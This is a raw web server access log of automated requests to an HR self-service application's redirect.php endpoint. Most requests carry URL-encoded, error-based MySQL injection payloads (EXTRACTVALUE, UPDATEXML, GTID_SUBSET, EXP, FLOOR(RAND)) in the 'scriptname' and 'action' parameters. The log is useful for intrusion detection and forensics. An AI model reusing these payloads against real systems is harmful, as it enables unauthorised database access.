100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574d6842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42793152%29%2C6420%29--%2F%2A%2A%2FUKkl&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65586c69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344750%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fh1km&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f736e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38584468%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FQrCA&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x53375038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f513749%29%2C6420%29--%2F%2A%2A%2FZasa&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x53375038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f513749%29%2C6420%29--%2F%2A%2A%2FZasa&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c764537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a415854%29%29--%2F%2A%2A%2FTott&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c764537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a415854%29%29--%2F%2A%2A%2FTott&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x765a676b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75395637%29%29--%2F%2A%2A%2FH2fM&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x765a676b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75395637%29%29--%2F%2A%2A%2FH2fM&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x51585964%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f71517a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F75Iw%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x51585964%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f71517a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F75Iw%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x534b4777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c435a6c%29%2C5431%29--%2F%2A%2A%2FMrZV&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x534b4777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c435a6c%29%2C5431%29--%2F%2A%2A%2FMrZV&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x53375038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f513749%29%2C6420%29--%2F%2A%2A%2FZasa&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e506e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3356746d%29%2C5431%29--%2F%2A%2A%2FLVNN&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e506e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3356746d%29%2C5431%29--%2F%2A%2A%2FLVNN&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c764537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a415854%29%29--%2F%2A%2A%2FTott&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x765a676b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75395637%29%29--%2F%2A%2A%2FH2fM&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x51585964%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f71517a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F75Iw%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x534b4777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c435a6c%29%2C5431%29--%2F%2A%2A%2FMrZV&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e506e6f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3356746d%29%2C5431%29--%2F%2A%2A%2FLVNN&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x484a726c%2C%28NULL%29%2C0x68644a4b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fjgwj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x484a726c%2C%28NULL%29%2C0x68644a4b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fjgwj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4659446c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39334a41%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fkr67&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4659446c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39334a41%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fkr67&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f583655%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39587867%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FbVv4&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f583655%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39587867%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FbVv4&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30513830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b573655%29%29x%29%29--%2F%2A%2A%2FkAis&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30513830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b573655%29%29x%29%29--%2F%2A%2A%2FkAis&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59755545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67465a72%29%29x%29%29--%2F%2A%2A%2FNki7&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
